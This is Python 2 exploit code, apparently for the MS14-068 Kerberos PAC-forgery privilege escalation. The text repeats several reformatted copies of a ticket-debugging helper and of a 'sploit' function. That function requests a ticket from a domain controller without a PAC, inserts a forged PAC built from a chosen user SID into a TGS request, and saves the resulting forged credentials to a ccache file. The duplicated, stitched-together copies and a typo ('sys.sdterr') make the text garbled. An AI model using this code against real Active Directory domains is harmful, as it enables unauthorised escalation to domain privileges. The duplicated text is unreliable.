def ticket_debug(ticket, key):
try:
ticket_enc = decrypt_ticket_enc_part(ticket, key)
print >> sys.stderr, ticket.prettyPrint()
for ad in iter_authorization_data(ticket_enc['authorization-data']):
print >> sys.stderr, 'AUTHORIZATION-DATA (type: %d):' % ad['ad-type']
if ad['ad-type'] == AD_WIN2K_PAC:
pretty_print_pac(str(ad['ad-data']))
else:
print >> sys.stderr, str(ad['ad-data']).encode('hex')
except Exception as e:
print 'ERROR:', e
def ticket_debug(ticket, key):
try:
ticket_enc = decrypt_ticket_enc_part(ticket, key)
print >> sys.stderr, ticket.prettyPrint()
for ad in iter_authorization_data(ticket_enc["authorization-data"]):
print >> sys.stderr, "AUTHORIZATION-DATA (type: %d):" % ad["ad-type"]
if ad["ad-type"] == AD_WIN2K_PAC:
pretty_print_pac(str(ad["ad-data"]))
else:
print >> sys.stderr, str(ad["ad-data"]).encode("hex")
except Exception as e:
print "ERROR:", e
def ticket_debug(ticket, key):
try:
ticket_enc = decrypt_ticket_enc_part(ticket, key)
print >> sys.stderr, ticket.prettyPrint()
for ad in iter_authorization_data(ticket_enc['authorization-data']):
print >> sys.stderr, 'AUTHORIZATION-DATA (type: %d):' % ad[
'ad-type']
if ad['ad-type'] == AD_WIN2K_PAC:
pretty_print_pac(str(ad['ad-data']))
else:
print >> sys.stderr, str(ad['ad-data']).encode('hex')
except Exception as e:
print 'ERROR:', e
def sploit(user_realm,
user_name,
user_sid,
user_key,
kdc_a,
kdc_b,
target_realm,
target_service,
target_host,
output_filename,
krbtgt_a_key=None,
trust_ab_key=None,
target_key=None):
sys.stderr.write(' [+] Building AS-REQ for %s...' % kdc_a)
sys.stderr.flush()
nonce = getrandbits(31)
current_time = time()
as_req = build_as_req(user_realm,
user_name,
user_key,
current_time,
nonce,
pac_request=False)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Sending AS-REQ to %s...' % kdc_a)
sys.stderr.flush()
sock = send_req(as_req, kdc_a)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Receiving AS-REP from %s...' % kdc_a)
sys.stderr.flush()
data = recv_rep(sock)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Parsing AS-REP from %s...' % kdc_a)
sys.stderr.flush()
as_rep, as_rep_enc = decrypt_as_rep(data, user_key)
session_key = (int(as_rep_enc['key']['keytype']),
str(as_rep_enc['key']['keyvalue']))
logon_time = gt2epoch(str(as_rep_enc['authtime']))
tgt_a = as_rep['ticket']
sys.stderr.write(' Done!\n')
if krbtgt_a_key is not None:
print >> sys.sdterr, as_rep.prettyPrint()
print >> sys.stderr, as_rep_enc.prettyPrint()
ticket_debug(tgt_a, krbtgt_a_key)
sys.stderr.write(' [+] Building TGS-REQ for %s...' % kdc_a)
sys.stderr.flush()
subkey = generate_subkey()
nonce = getrandbits(31)
current_time = time()
pac = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid,
logon_time))
tgs_req = build_tgs_req(user_realm,
'krbtgt',
target_realm,
user_realm,
user_name,
tgt_a,
session_key,
subkey,
nonce,
current_time,
pac,
pac_request=False)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Sending TGS-REQ to %s...' % kdc_a)
sys.stderr.flush()
sock = send_req(tgs_req, kdc_a)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Receiving TGS-REP from %s...' % kdc_a)
sys.stderr.flush()
data = recv_rep(sock)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Parsing TGS-REP from %s...' % kdc_a)
tgs_rep, tgs_rep_enc = decrypt_tgs_rep(data, subkey)
session_key2 = (int(tgs_rep_enc['key']['keytype']),
str(tgs_rep_enc['key']['keyvalue']))
tgt_b = tgs_rep['ticket']
sys.stderr.write(' Done!\n')
if trust_ab_key is not None:
pretty_print_pac(pac[1])
print >> sys.stderr, tgs_rep.prettyPrint()
print >> sys.stderr, tgs_rep_enc.prettyPrint()
ticket_debug(tgt_b, trust_ab_key)
if target_service is not None and target_host is not None and kdc_b is not None:
sys.stderr.write(' [+] Building TGS-REQ for %s...' % kdc_b)
sys.stderr.flush()
subkey = generate_subkey()
nonce = getrandbits(31)
current_time = time()
tgs_req2 = build_tgs_req(target_realm, target_service, target_host,
user_realm, user_name, tgt_b, session_key2,
subkey, nonce, current_time)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Sending TGS-REQ to %s...' % kdc_b)
sys.stderr.flush()
sock = send_req(tgs_req2, kdc_b)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Receiving TGS-REP from %s...' % kdc_b)
sys.stderr.flush()
data = recv_rep(sock)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Parsing TGS-REP from %s...' % kdc_b)
tgs_rep2, tgs_rep_enc2 = decrypt_tgs_rep(data, subkey)
sys.stderr.write(' Done!\n')
else:
tgs_rep2 = tgs_rep
tgs_rep_enc2 = tgs_rep_enc
sys.stderr.write(' [+] Creating ccache file %r...' % output_filename)
cc = CCache((user_realm, user_name))
tgs_cred = kdc_rep2ccache(tgs_rep2, tgs_rep_enc2)
cc.add_credential(tgs_cred)
cc.save(output_filename)
sys.stderr.write(' Done!\n')
if target_key is not None:
print >> sys.stderr, tgs_rep2.prettyPrint()
print >> sys.stderr, tgs_rep_enc2.prettyPrint()
ticket_debug(tgs_rep2['ticket'], target_key)
def sploit(user_realm, user_name, user_sid, user_key, kdc_a, kdc_b, target_realm, target_service, target_host,
output_filename, krbtgt_a_key=None, trust_ab_key=None, target_key=None):
sys.stderr.write(' [+] Building AS-REQ for %s...' % kdc_a)
sys.stderr.flush()
nonce = getrandbits(31)
current_time = time()
as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce, pac_request=False)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Sending AS-REQ to %s...' % kdc_a)
sys.stderr.flush()
sock = send_req(as_req, kdc_a)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Receiving AS-REP from %s...' % kdc_a)
sys.stderr.flush()
data = recv_rep(sock)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Parsing AS-REP from %s...' % kdc_a)
sys.stderr.flush()
as_rep, as_rep_enc = decrypt_as_rep(data, user_key)
session_key = (int(as_rep_enc['key']['keytype']), str(as_rep_enc['key']['keyvalue']))
logon_time = gt2epoch(str(as_rep_enc['authtime']))
tgt_a = as_rep['ticket']
sys.stderr.write(' Done!\n')
if krbtgt_a_key is not None:
print >> sys.sdterr, as_rep.prettyPrint()
print >> sys.stderr, as_rep_enc.prettyPrint()
ticket_debug(tgt_a, krbtgt_a_key)
sys.stderr.write(' [+] Building TGS-REQ for %s...' % kdc_a)
sys.stderr.flush()
subkey = generate_subkey()
nonce = getrandbits(31)
current_time = time()
pac = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time))
tgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm, user_name,
tgt_a, session_key, subkey, nonce, current_time, pac, pac_request=False)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Sending TGS-REQ to %s...' % kdc_a)
sys.stderr.flush()
sock = send_req(tgs_req, kdc_a)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Receiving TGS-REP from %s...' % kdc_a)
sys.stderr.flush()
data = recv_rep(sock)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Parsing TGS-REP from %s...' % kdc_a)
tgs_rep, tgs_rep_enc = decrypt_tgs_rep(data, subkey)
session_key2 = (int(tgs_rep_enc['key']['keytype']), str(tgs_rep_enc['key']['keyvalue']))
tgt_b = tgs_rep['ticket']
sys.stderr.write(' Done!\n')
if trust_ab_key is not None:
pretty_print_pac(pac[1])
print >> sys.stderr, tgs_rep.prettyPrint()
print >> sys.stderr, tgs_rep_enc.prettyPrint()
ticket_debug(tgt_b, trust_ab_key)
if target_service is not None and target_host is not None and kdc_b is not None:
sys.stderr.write(' [+] Building TGS-REQ for %s...' % kdc_b)
sys.stderr.flush()
subkey = generate_subkey()
nonce = getrandbits(31)
current_time = time()
tgs_req2 = build_tgs_req(target_realm, target_service, target_host, user_realm, user_name,
tgt_b, session_key2, subkey, nonce, current_time)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Sending TGS-REQ to %s...' % kdc_b)
sys.stderr.flush()
sock = send_req(tgs_req2, kdc_b)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Receiving TGS-REP from %s...' % kdc_b)
sys.stderr.flush()
data = recv_rep(sock)
sys.stderr.write(' Done!\n')
sys.stderr.write(' [+] Parsing TGS-REP from %s...' % kdc_b)
tgs_rep2, tgs_rep_enc2 = decrypt_tgs_rep(data, subkey)
sys.stderr.write(' Done!\n')
else:
tgs_rep2 = tgs_rep
tgs_rep_enc2 = tgs_rep_enc
sys.stderr.write(' [+] Creating ccache file %r...' % output_filename)
cc = CCache((user_realm, user_name))
tgs_cred = kdc_rep2ccache(tgs_rep2, tgs_rep_enc2)
cc.add_credential(tgs_cred)
cc.save(output_filename)
sys.stderr.write(' Done!\n')
if target_key is not None:
print >> sys.stderr, tgs_rep2.prettyPrint()
print >> sys.stderr, tgs_rep_enc2.prettyPrint()
ticket_debug(tgs_rep2['ticket'], target_key)
